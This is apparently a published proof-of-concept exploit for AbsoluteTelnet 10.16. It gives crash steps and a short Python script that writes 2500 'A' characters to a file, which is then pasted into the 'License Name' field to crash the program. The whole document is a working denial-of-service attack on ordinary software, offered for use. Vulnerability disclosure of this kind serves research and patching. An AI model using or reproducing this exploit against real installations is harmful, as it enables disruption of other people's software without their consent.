#Exploit Title: AbsoluteTelnet 10.16 - 'License name' Denial of Service (PoC) #Discovery by: Victor Mondragón #Discovery Date: 2019-05-19 #Vendor Homepage: https://www.celestialsoftware.net/ #Software Link: https://www.celestialsoftware.net/telnet/AbsoluteTelnet10.16.exe #Tested Version: 10.16 #Tested on: Windows 7 Service Pack 1 x64 #Steps to produce the crash: #1.- Run python code: AbsoluteTelent.py #2.- Open AbsoluteTelent.txt and copy content to clipboard #3.- Open AbsoluteTelnet.exe #4.- Select "Help" > "Enter License Key" #5.- In "License Name" paste Clipboard #6.- Crashed cod = "\x41" * 2500 f = open('AbsoluteTelent.txt', 'w') f.write(cod) f.close()